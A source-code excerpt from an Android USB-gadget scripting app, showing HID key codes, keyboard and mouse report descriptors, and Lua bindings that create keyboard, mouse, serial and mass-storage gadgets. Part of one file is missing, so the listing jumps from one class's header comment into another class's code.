114 | KEY_F9(0X42),
115 | KEY_F10(0X43),
116 | KEY_F11(0X44),
117 | KEY_F12(0X45),
118 | KEY_PRINT(0X46),
119 | KEY_SCROLL_LOCK(0X47),
120 | KEY_SCROLLLOCK(0X47),
121 | KEY_PAUSE(0X48),
122 | KEY_INSERT(0X49),
123 | KEY_HOME(0X4A),
124 | KEY_PAGEUP(0X4B),
125 | KEY_PGUP(0X4B),
126 | KEY_DEL(0X4C),
127 | KEY_DELETE(0X4C),
128 | KEY_END(0X4D),
129 | KEY_PAGEDOWN(0X4E),
130 | KEY_PGDOWN(0X4E),
131 | KEY_RIGHT(0X4F),
132 | KEY_LEFT(0X50),
133 | KEY_DOWN(0X51),
134 | KEY_UP(0X52),
135 | KEY_NUM_LOCK(0X53),
136 | KEY_NUMLOCK(0X53),
137 | KEY_KP_DIVIDE(0X54),
138 | KEY_KP_MULTIPLY(0X55),
139 | KEY_KP_MINUS(0X56),
140 | KEY_KP_PLUS(0X57),
141 | KEY_KP_ENTER(0X58),
142 | KEY_KP_RETURN(0X58),
143 | KEY_KP_1(0X59),
144 | KEY_KP_2(0X5A),
145 | KEY_KP_3(0X5B),
146 | KEY_KP_4(0X5C),
147 | KEY_KP_5(0X5D),
148 | KEY_KP_6(0X5E),
149 | KEY_KP_7(0X5F),
150 | KEY_KP_8(0X60),
151 | KEY_KP_9(0X61),
152 | KEY_KP_0(0X62),
153 | KEY_KP_PERIOD(0X63),
154 | KEY_KP_STOP(0X63),
155 | KEY_APPLICATION(0X65),
156 | KEY_POWER(0X66),
157 | KEY_KP_EQUALS(0X67),
158 | KEY_KP_EQUAL(0X67),
159 | KEY_F13(0X68),
160 | KEY_F14(0X69),
161 | KEY_F15(0X6A),
162 | KEY_F16(0X6B),
163 | KEY_F17(0X6C),
164 | KEY_F18(0X6D),
165 | KEY_F19(0X6E),
166 | KEY_F20(0X6F),
167 | KEY_F21(0X70),
168 | KEY_F22(0X71),
169 | KEY_F23(0X72),
170 | KEY_F24(0X73),
171 | KEY_EXECUTE(0X74),
172 | KEY_HELP(0X75),
173 | KEY_MENU(0X76),
174 | KEY_SELECT(0X77),
175 | KEY_CANCEL(0X78),
176 | KEY_REDO(0X79),
177 | KEY_UNDO(0X7A),
178 | KEY_CUT(0X7B),
179 | KEY_COPY(0X7C),
180 | KEY_PASTE(0X7D),
181 | KEY_FIND(0X7E),
182 | KEY_MUTE(0X7F),
183 | KEY_VOLUME_UP(0x80),
184 | KEY_VOLUME_DOWN(0x81);
185 |
186 | public final byte code;
187 |
188 | Key(int code) {
189 | this.code = (byte) code;
190 | }
191 | }
192 | }
193 | }
194 |
--------------------------------------------------------------------------------
/app/src/main/java/org/netdex/androidusbscript/function/HidDescriptor.kt:
--------------------------------------------------------------------------------
1 | package org.netdex.androidusbscript.function
2 |
3 | import org.netdex.androidusbscript.configfs.function.HidParameters
4 |
5 | /**
6 | * Descriptors for supported HID devices
7 | */
8 | enum class HidDescriptor(val parameters: HidParameters) {
9 | KEYBOARD(
10 | HidParameters(
11 | protocol = 1,
12 | subclass = 1,
13 | reportLength = 8,
14 | byteArrayOf(
15 | 0x05.toByte(), 0x01.toByte(), /* USAGE_PAGE (GENERIC DESKTOP) */
16 | 0x09.toByte(), 0x06.toByte(), /* USAGE (KEYBOARD) */
17 | 0xa1.toByte(), 0x01.toByte(), /* COLLECTION (APPLICATION) */
18 | 0x05.toByte(), 0x07.toByte(), /* USAGE_PAGE (KEYBOARD) */
19 | 0x19.toByte(), 0xe0.toByte(), /* USAGE_MINIMUM (KEYBOARD LEFTCONTROL) */
20 | 0x29.toByte(), 0xe7.toByte(), /* USAGE_MAXIMUM (KEYBOARD RIGHT GUI) */
21 | 0x15.toByte(), 0x00.toByte(), /* LOGICAL_MINIMUM (0) */
22 | 0x25.toByte(), 0x01.toByte(), /* LOGICAL_MAXIMUM (1) */
23 | 0x75.toByte(), 0x01.toByte(), /* REPORT_SIZE (1) */
24 | 0x95.toByte(), 0x08.toByte(), /* REPORT_COUNT (8) */
25 | 0x81.toByte(), 0x02.toByte(), /* INPUT (DATA,VAR,ABS) */
26 | 0x95.toByte(), 0x01.toByte(), /* REPORT_COUNT (1) */
27 | 0x75.toByte(), 0x08.toByte(), /* REPORT_SIZE (8) */
28 | 0x81.toByte(), 0x03.toByte(), /* INPUT (CNST,VAR,ABS) */
29 | 0x95.toByte(), 0x05.toByte(), /* REPORT_COUNT (5) */
30 | 0x75.toByte(), 0x01.toByte(), /* REPORT_SIZE (1) */
31 | 0x05.toByte(), 0x08.toByte(), /* USAGE_PAGE (LEDS) */
32 | 0x19.toByte(), 0x01.toByte(), /* USAGE_MINIMUM (NUM LOCK) */
33 | 0x29.toByte(), 0x05.toByte(), /* USAGE_MAXIMUM (KANA) */
34 | 0x91.toByte(), 0x02.toByte(), /* OUTPUT (DATA,VAR,ABS) */
35 | 0x95.toByte(), 0x01.toByte(), /* REPORT_COUNT (1) */
36 | 0x75.toByte(), 0x03.toByte(), /* REPORT_SIZE (3) */
37 | 0x91.toByte(), 0x03.toByte(), /* OUTPUT (CNST,VAR,ABS) */
38 | 0x95.toByte(), 0x06.toByte(), /* REPORT_COUNT (6) */
39 | 0x75.toByte(), 0x08.toByte(), /* REPORT_SIZE (8) */
40 | 0x15.toByte(), 0x00.toByte(), /* LOGICAL_MINIMUM (0) */
41 | 0x25.toByte(), 0x65.toByte(), /* LOGICAL_MAXIMUM (101) */
42 | 0x05.toByte(), 0x07.toByte(), /* USAGE_PAGE (KEYBOARD) */
43 | 0x19.toByte(), 0x00.toByte(), /* USAGE_MINIMUM (RESERVED) */
44 | 0x29.toByte(), 0x65.toByte(), /* USAGE_MAXIMUM (KEYBOARD APPLICATION) */
45 | 0x81.toByte(), 0x00.toByte(), /* INPUT (DATA,ARY,ABS) */
46 | 0xc0.toByte() /* END_COLLECTION */
47 | )
48 | )
49 | ),
50 | MOUSE(
51 | HidParameters(
52 | protocol = 2,
53 | subclass = 1,
54 | reportLength = 4,
55 | byteArrayOf(
56 | 0X05.toByte(), 0X01.toByte(), /* USAGE PAGE (GENERIC DESKTOP CONTROLs) */
57 | 0X09.toByte(), 0X02.toByte(), /* USAGE (MOUSE) */
58 | 0XA1.toByte(), 0X01.toByte(), /* COLLECTION (APPLICATION) */
59 | 0X09.toByte(), 0X01.toByte(), /* USAGE (POINTER) */
60 | 0XA1.toByte(), 0X00.toByte(), /* COLLECTION (PHYSICAL) */
61 | 0X05.toByte(), 0X09.toByte(), /* USAGE PAGE (BUTTON) */
62 | 0X19.toByte(), 0X01.toByte(), /* USAGE MINIMUM (1) */
63 | 0X29.toByte(), 0X05.toByte(), /* USAGE MAXIMUM (5) */
64 | 0X15.toByte(), 0X00.toByte(), /* LOGICAL MINIMUM (1) */
65 | 0X25.toByte(), 0X01.toByte(), /* LOGICAL MAXIMUM (1) */
66 | 0X95.toByte(), 0X05.toByte(), /* REPORT COUNT (5) */
67 | 0X75.toByte(), 0X01.toByte(), /* REPORT SIZE (1) */
68 | 0X81.toByte(), 0X02.toByte(), /* INPUT (DATA,VARIABLE,ABSOLUTE,BITFIELD) */
69 | 0X95.toByte(), 0X01.toByte(), /* REPORT COUNT(1) */
70 | 0X75.toByte(), 0X03.toByte(), /* REPORT SIZE(3) */
71 | 0X81.toByte(), 0X01.toByte(), /* INPUT (CONSTANT,ARRAY,ABSOLUTE,BITFIELD)*/
72 | 0X05.toByte(), 0X01.toByte(), /* USAGE PAGE (GENERIC DESKTOP CONTROLS) */
73 | 0X09.toByte(), 0X30.toByte(), /* USAGE (X) */
74 | 0X09.toByte(), 0X31.toByte(), /* USAGE (Y) */
75 | 0X09.toByte(), 0X38.toByte(), /* USAGE (WHEEL) */
76 | 0X15.toByte(), 0X81.toByte(), /* LOGICAL MINIMUM (-127) */
77 | 0X25.toByte(), 0X7F.toByte(), /* LOGICAL MAXIMUM (127) */
78 | 0X75.toByte(), 0X08.toByte(), /* REPORT SIZE (8) */
79 | 0X95.toByte(), 0X03.toByte(), /* REPORT COUNT (3) */
80 | 0X81.toByte(), 0X06.toByte(), /* INPUT (DATA,VARIABLE,RELATIVE,BITFIELD) */
81 | 0XC0.toByte(), /* END COLLECTION */
82 | 0XC0.toByte() /* END COLLECTION */
83 | )
84 | )
85 | )
86 | }
87 |
--------------------------------------------------------------------------------
/app/src/main/java/org/netdex/androidusbscript/lua/LuaHidKeyboard.java:
--------------------------------------------------------------------------------
1 | package org.netdex.androidusbscript.lua;
2 |
3 | import static org.netdex.androidusbscript.function.HidInput.Keyboard.Mod.MOD_LSHIFT;
4 | import static org.netdex.androidusbscript.function.HidInput.Keyboard.Mod.MOD_NONE;
5 | import static org.netdex.androidusbscript.lua.LuaUsbLibrary.checkbyte;
6 |
7 | import org.luaj.vm2.LuaError;
8 | import org.luaj.vm2.LuaTable;
9 | import org.luaj.vm2.LuaValue;
10 | import org.luaj.vm2.Varargs;
11 | import org.luaj.vm2.lib.VarArgFunction;
12 | import org.netdex.androidusbscript.function.DeviceStream;
13 | import org.netdex.androidusbscript.util.FileSystem;
14 |
15 | import java.io.IOException;
16 | import java.nio.file.Path;
17 |
18 | public class LuaHidKeyboard extends DeviceStream {
19 |
20 | public LuaHidKeyboard(FileSystem fs, Path devicePath) {
21 | super(fs, devicePath);
22 | }
23 |
24 | /**
25 | * A B C D E F G H
26 | * XXXXXXXX 00000000 XXXXXXXX XXXXXXXX XXXXXXXX XXXXXXXX XXXXXXXX XXXXXXXX
27 | *
137 | * Depending on type, the configuration can have additional properties:
138 | * @return A library binding for interacting with the created gadgets.
139 | * The binding is a table with at least the following properties:
140 | *
141 | * dev: table - An array with an device binding for each provided configuration.
142 | *
143 | * It also contains various library functions.
144 | */
145 | @Override
146 | public Varargs invoke(Varargs args) {
147 | int numDevices = args.narg();
148 | var functions = new UsbGadgetFunction[numDevices];
149 | for (int i = 1; i <= numDevices; ++i) {
150 | LuaTable config = args.arg(i).checktable();
151 | String type = config.get("type").checkjstring();
152 | int id = i - 1;
153 |
154 | UsbGadgetFunction function = switch (type) {
155 | case "keyboard" -> {
156 | var params = HidDescriptor.KEYBOARD.getParameters();
157 | yield new UsbGadgetFunctionHid(usbGadget_, id, params);
158 | }
159 | case "mouse" -> {
160 | var params = HidDescriptor.MOUSE.getParameters();
161 | yield new UsbGadgetFunctionHid(usbGadget_, id, params);
162 | }
163 | case "serial" -> {
164 | var params = new SerialParameters();
165 | yield new UsbGadgetFunctionSerial(usbGadget_, id, params);
166 | }
167 | case "storage" -> {
168 | String file = config.get("file").optjstring("/data/local/tmp/mass_storage-lun0.img");
169 | boolean ro = config.get("ro").optboolean(false);
170 | long size = config.get("size").optlong(256);
171 | String label = config.get("label").optjstring("Android USB Script");
172 | var params = new MassStorageParameters(file, ro, true, false, false, true, size, label, false);
173 | yield new UsbGadgetFunctionMassStorage(usbGadget_, id, params);
174 | }
175 | default ->
176 | throw new LuaError(String.format("Invalid function type '%s'", type));
177 | };
178 | functions[id] = function;
179 | }
180 |
181 | // MITIGATION: Windows seems to memoize usb configurations by serial number
182 | // (not across reboots). This causes undefined behavior when the configuration
183 | // changes. Generate a serial number based on the configuration.
184 | UsbGadgetParameters gadgetParameters = new UsbGadgetParameters(
185 | "The Linux Foundation",
186 | "0x1d6b",
187 | "0x0105",
188 | "FunctionFS Gadget",
189 | "Composite"
190 | );
191 |
192 | try {
193 | usbGadget_.create(gadgetParameters, functions);
194 | usbGadget_.bind();
195 |
196 | var devices = new LuaValue[numDevices];
197 | for (int i = 1; i <= numDevices; ++i) {
198 | LuaTable config = args.arg(i).checktable();
199 | String type = config.get("type").checkjstring();
200 | int id = i - 1;
201 |
202 | var function = functions[id];
203 |
204 | // https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=ed6fe1f50f0c0fdea674dfa739af50011034bdfa
205 | LuaValue device = switch (type) {
206 | case "keyboard" -> {
207 | int minor = ((UsbGadgetFunctionHid) function).getMinor();
208 | Timber.d("USB function '%s' at device number %d", function.getName(), minor);
209 | var hid = new LuaHidKeyboard(fs_, Paths.get("/dev/hidg" + minor));
210 | devHandles_.add(hid);
211 | yield CoerceJavaToLua.coerce(hid);
212 | }
213 | case "mouse" -> {
214 | int minor = ((UsbGadgetFunctionHid) function).getMinor();
215 | Timber.d("USB function '%s' at device number %d", function.getName(), minor);
216 | var hid = new LuaHidMouse(fs_, Paths.get("/dev/hidg" + minor));
217 | devHandles_.add(hid);
218 | yield CoerceJavaToLua.coerce(hid);
219 | }
220 | case "serial" -> {
221 | int portNum = ((UsbGadgetFunctionSerial) function).getPortNum();
222 | var serial = new LuaSerial(fs_, Paths.get("/dev/ttyGS" + portNum));
223 | devHandles_.add(serial);
224 | yield CoerceJavaToLua.coerce(serial);
225 | }
226 | case "storage" -> NIL;
227 | default ->
228 | throw new LuaError(String.format("Invalid function type '%s'", type));
229 | };
230 | devices[i - 1] = device;
231 | }
232 |
233 | return LuaValue.varargsOf(devices);
234 | } catch (IOException e) {
235 | throw new LuaError(e);
236 | }
237 | }
238 | }
239 |
240 | class state extends ZeroArgFunction {
241 | @Override
242 | public LuaValue call() {
243 | try {
244 | return valueOf(UsbGadget.getUDCState(fs_, UsbGadget.getSystemUDC(fs_)));
245 | } catch (IOException e) {
246 | throw new LuaError(e);
247 | }
248 | }
249 | }
250 | }
251 |
252 | public static byte checkbyte(int n) {
253 | if (n < Byte.MIN_VALUE || n > Byte.MAX_VALUE)
254 | throw new LuaError("bad argument: byte expected");
255 | return (byte) n;
256 | }
257 | }
258 |
--------------------------------------------------------------------------------